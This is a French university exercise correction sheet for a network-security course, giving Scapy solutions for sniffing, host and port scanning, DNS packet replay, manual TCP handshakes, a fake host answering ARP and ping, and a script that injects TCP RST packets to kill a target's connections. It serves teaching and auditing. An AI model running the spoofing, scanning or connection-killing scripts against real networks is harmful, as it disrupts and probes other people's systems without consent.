Faculté des Sciences & Techniques — Université de Limoges

Master 1ère année

Audit&SécuRés

Corrections TD n°1

Programmation avec Scapy

Écoute de réseau

Écrire un programme qui permet de « sniffer » un réseau et de faire la liste des @MAC trouvées.

```
#!/usr/bin/python3

from scapy.all import *

liste_macs = []

def traiter_packet(p):
    if p[Ether].src not in liste_macs:
        liste_macs.append(p[Ether].src)
        print(p[Ether].src)
    if p[Ether].dst not in liste_macs:
        liste_macs.append(p[Ether].dst)
        print(p[Ether].dst)

sniff(count=0,prn=traiter_packet)
```

1 – Une version utilisant le fichier « oui.txt » contenant les « OUI » des différents constructeurs :

```
#!/usr/bin/python3
import subprocess
from scapy.all import *

liste_adresses_mac = []
cmd_oui = 'grep $(echo "%s" | tr ":" "-") oui.txt'
def traiter_trame(p):
    adresse = p.src
    if not (adresse in liste_adresses_mac):
        liste_adresses_mac.append(adresse)
        try:
            req_oui = subprocess.run(cmd_oui%adresse[:8],stdout=subprocess.PIPE,shell=True)
            print (adresse,":",req_oui.stdout)
        except Exception as e:
            print (e.args)
sniff(count=0,prn=traiter_trame)
```

2 – Afficher les communications TCP qui s'établissent dans un réseau :

```
#!/usr/bin/python3

from scapy.all import *

MY_TCP_SERVICES={}
for proto in TCP_SERVICES.keys():
    MY_TCP_SERVICES[TCP_SERVICES[proto]] = proto

def traiter_trame(t):
    if TCP not in t:
        return
    if (t.sprintf("%TCP.flags%") != 'SA') :
        return
    adresse_src = t[IP].src
    adresse_dst = t[IP].dst
    service = t[TCP].sport
    if service in MY_TCP_SERVICES:
        service = MY_TCP_SERVICES[service]
    print ("Connexion de :",adresse_dst," a ",adresse_src,"pour le service ",service)

sniff(count=0, prn=traiter_trame, filter="tcp")
```

Création de trafic et audit réseau

3 – Créez différents paquets :

a. un paquet IP à destination de l'adresse « `192.168.0.10` » contenant un paquet TCP à destination du port 25, avec un SYN :

```
xterm
pef@darkstar:~$ scapy
Welcome to Scapy (2.2.0)
>>> IP(dst='192.168.0.10')/TCP(dport=25,flags='S')
<IP  frag=0 proto=tcp dst=192.168.0.10 |<TCP  dport=smtp flags=S |>>
>>> Ether(dst='00:10:de:ad:be:ef')/IP()/UDP(dport=53)
<Ether  dst=00:10:de:ad:be:ef type=0x800 |<IP  frag=0 proto=udp |<UDP  dport=domain |>>>
>>>
```

b. une trame à destination de l'@MAC « `00:10:de:ad:be:ef` », contenant un paquet UDP à destination du port 53 :

```
xterm
>>> Ether(dst='00:10:de:ad:be:ef')/IP()/UDP(dport=53)
<Ether  dst=00:10:de:ad:be:ef type=0x800 |<IP  frag=0 proto=udp |<UDP  dport=domain |>>>
>>>
```

4 – Écrire un « scanner » réseau qui recense :

a. les différentes machines d'un réseau à l'aide du protocole ICMP echo (le « *ping* ») ;

```
#!/usr/bin/python3

from scapy.all import *

def mon_scan():
   paquet=Ether(dst='ff:ff:ff:ff:ff:ff')/IP(dst='255.255.255.255')/ICMP(type=8,id=100,seq=0)
   paquet.show2()
   sendp(paquet)
   return sniff(timeout=5,filter='icmp and host 192.168.1.121')

lp=mon_scan()
association=[(p[Ether].src,p[IP].src) for p in lp]
print (association)
```

Attention : certains systèmes d'exploitation ne répondent pas aux messages ICMP envoyés en diffusion.

b. les différentes machines d'un réseau à l'aide du protocole ARP ;

```
#!/usr/bin/python3

from scapy.all import *

paquet=Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst='192.168.1.0/24',op=1)
paquet.show2()
(an,un)=srp(paquet,timeout=5)
liste_ip=[r[ARP].psrc for (q,r) in an]
print (liste_ip)
```

On peut aussi utiliser IPv6 :

```
xterm
$ ping6 ff02::1%wlp1s0
```

c. les différentes ports ouverts sur une machine pour une liste des ports à tester pour des protocoles basés TCP (HTTP, SMTP, POP, IMAP) ;

```
#!/usr/bin/python3

from scapy.all import *

liste_services = [80,25,110,143]
cible = '192.168.10.11'

lp = IP(dst=cible,id=RandShort())/TCP(dport=liste_services,sport=RandShort(),flags='S',op
tions=[('MSS', 1460), ('SAckOK', b''), ('Timestamp', (2073075227, 0)), ('NOP',
None), ('WScale', 10)])

repondu,non_repondu = sr(lp,timeout=2,iface='h12-eth0')
print([(r[TCP].sport,r[TCP].flags) for(q,r) in repondu if (r[TCP].sprintf('%flags%')=='SA')])
```

En mode interactif :

xterm
```
>>>
rep,sansrep=sr(IP(dst='www.unilim.fr')/TCP(dport=[80,25],flags='S'),timeout=2)
Begin emission:
...Finished to send 2 packets.
.....*..................................................
Received 784 packets, got 1 answers, remaining 1 packets
>>> [p[TCP].dport for (p,r) in rep]
[80]
```

Vous essaierez de l'étendre pour le protocole DNS, basé UDP.

```
#!/usr/bin/python3

from scapy.all import *

paquet = IP(dst='192.168.1.0/24')/UDP()/DNS(rd=1,qd=DNSQR(qname="www.unilim.fr"))
paquet.show()
(an,un)=sr(paquet)

liste_ip=[r[IP].src for (q,r) in an]
print (liste_ip)
```

On peut également capturer un paquet DNS pour le modifier et le rejouer :

xterm
```
pef@cube:~$ sudo tcpdump -c 1 -w capture_paquet_dns.pcap -i wlp1s0 udp and port 53
tcpdump: listening on wlp1s0, link-type EN10MB (Ethernet), capture size 262144
bytes
1 packet captured
5 packets received by filter
0 packets dropped by kernel
```

Pour envoyer un paquet DNS, on peut utiliser la commande « `dig` » :

xterm
```
pef@cube:~/ResAVII$ dig www.unilim.fr
```

Ensuite, ce paquet est lu dans Scapy, puis modifié :

```
#!/usr/bin/python3

from scapy.all import *

serveurs = ['8.8.8.8','8.8.4.4','limdns.unilim.fr']

liste_paquets = rdpcap('capture_paquet_dns.pcap')
paquet = liste_paquets[0]

del paquet[IP].chksum
del paquet[UDP].chksum
paquet[IP].dst = serveurs
rep,nonrep=sr(paquet[IP],timeout=2)
for (p,r) in rep:
        print ("le serveur ",p[IP].dst, " a repondu")
```

5 – Protocole TCP :

a. Programmez l'établissement d'une connexion TCP à l'aide de Scapy, en créant chacun des paquets (côté client).

```
#!/usr/bin/python3

from scapy.all import *

serveur_destination='p-fb.net'
port_destination=80

paquet_syn = IP(dst=serveur_destination)/TCP(dport=port_destination,flags='S')
rep=sr1(paquet_syn,timeout=3)
paquet_ack = IP(dst=serveur_destination)/TCP(dport=port_destination,flags='A',
seq=rep[TCP].ack,ack=rep[TCP].seq+1)
send(paquet_ack)
paquet_requete = IP(dst=serveur_destination)/TCP(dport=port_destination, flags='A',
seq=rep[TCP].ack,ack=rep[TCP].seq+1)/"GET / HTTP/1.0\r\nHost: p-fb.net\r\n\r\n"
paquet_rep = sr1(paquet_requete)
print (paquet_rep[TCP].payload)
paquet_rep.show()
```

b. Est-ce que « tout se passe » sans problème ? Pourquoi ?
On oubliera pas de bloquer la pile TCP/IP de la machine, vu qu'avec Scapy on envoie des paquets sans passer par elle et qu'elle va renvoyer un RST lors de la réception de la réponse du serveur :

```
sudo iptables -A OUTPUT -d serveur_cible -p tcp --dport 80 -j DROP
```

c. Améliorez le programme pour récupérer le début de la conversation, comme par exemple, la bannière du serveur sur lequel on se connecte (pour réaliser du « banner grabbing » ?
On ajoute l'affichage du contenu du payload.

Deception & Injection

Deception

« There can never be enough deception. »
Sun Tzu

« Deceiving » : faire croire à une personne qu'une chose fausse est vraie.

6 – Ecrire un programme **simulant la présence d'une machine** capable de répondre par un message ICMP « Echo-reply » à la réception d'un message ICMP « Echo-request », c-à-d qui gère le « *ping* ».

Avant de pouvoir répondre à un « echo-request », il faut répondre à une résolution ARP :

- ▷ *dans le cas d'une interface réelle connectée sur un « hub », il est possible d'utiliser n'importe quelle adresse MAC pour répondre et définir l'interface réseau de notre machine fictive ;*
- ▷ *dans le cas d'une interface réelle connectée sur un « switch », il est nécessaire d'utiliser la même adresse MAC que la machine exécutant le programme Python.*

```
#!/usr/bin/python3

from scapy.all import *
adresse_mac = 'ca:fe:de:ad:be:ef'
adresse_ip = '192.168.10.100'

def traiter_trame(t):
    if (ARP in t) and (t[Ether].dst == 'ff:ff:ff:ff:ff:ff') and (t[ARP].pdst==adresse_ip):
        paquet_reponse = Ether(src=adresse_mac,dst=t[Ether].src)/ARP(op='is-at',
hwsrc=adresse_mac,psrc=adresse_ip,pdst=t[ARP].psrc,hwdst=t[Ether].src)
        sendp(paquet_reponse)
        return
    if (t[Ether].dst == adresse_mac) and (ICMP in t):
        paquet_reponse=Ether(src=adresse_mac,dst=t[Ether].src)/IP(src=adresse_ip,
dst=t[IP].src)/t[ICMP]
        paquet_reponse[ICMP].type = 'echo-reply'
        del paquet_reponse[ICMP].chksum
        sendp(paquet_reponse)

sniff(prn=traiter_trame,filter='(host %s ) or (ether host ff:ff:ff:ff:ff:ff) or
(ether host %s)'%(adresse_ip,adresse_mac))
```

7 – Écrivez un programme qui permet de « *sniper* » une communication TCP déjà établie dans votre réseau local (« tuer » la connexion en cours).
Vous devrez envoyer un segment TCP contenant un ACK/RST avec le bon décalage.

```
#!/bin/python3

import sys
from scapy.all import *

mes_connexions = {}
adresse_cible = '192.168.127.143'

# On ne traite que les connexions etablies par la cible
def traitement_paquet(p):
   # le paquet ne concerne pas la cible
   if (p[IP].dst != adresse_cible) and (p[IP].src != adresse_cible):
      return
   drapeaux = p.sprintf('%TCP.flags%')
   # la cible initie une connexion
   if (drapeaux == 'S') and (p[IP].src == adresse_cible):
      cle = p.sprintf('%IP.src%:%TCP.sport%:%IP.dst%:%TCP.dport%')
      mes_connexions[cle] = 'S'
      sys.stderr.write("Connexion en cours %s\n"%cle)
      return
   # une acceptation de connexion
   if (drapeaux == 'SA'):
      cle = p.sprintf('%IP.dst%:%TCP.dport%:%IP.src%:%TCP.sport%')
      # la reponse n'est pas relative a une connexion de la source
      if cle not in mes_connexions:
         return
      # la reponse finit la connexion
      if (mes_connexions[cle] == 'S'):
         mes_connexions[cle] = "Etablie"
         sys.stderr.write("Connexion etablie %s\n"%cle)
   # n'importe quel paquet de la connexion a destination de la cible
   if (p[IP].dst == adresse_cible):
         cle = p.sprintf('%IP.dst%:%TCP.dport%:%IP.src%:%TCP.sport%')
         # la connexion a ete etablie...hop on la "snippe"
         if mes_connexions.has_key(cle):
            sys.stderr.write("Connexion snippee : %s\n"%cle)
            paquet_RST = IP(src=adresse_cible, dst=p[IP].src)/TCP(sport=p[TCP].dport,
dport=p[TCP].sport, flags='RA', ack=p[TCP].seq+1,seq=p[TCP].ack)
            send(paquet_RST)

sniff(count=0, prn=traitement_paquet, filter="tcp")
```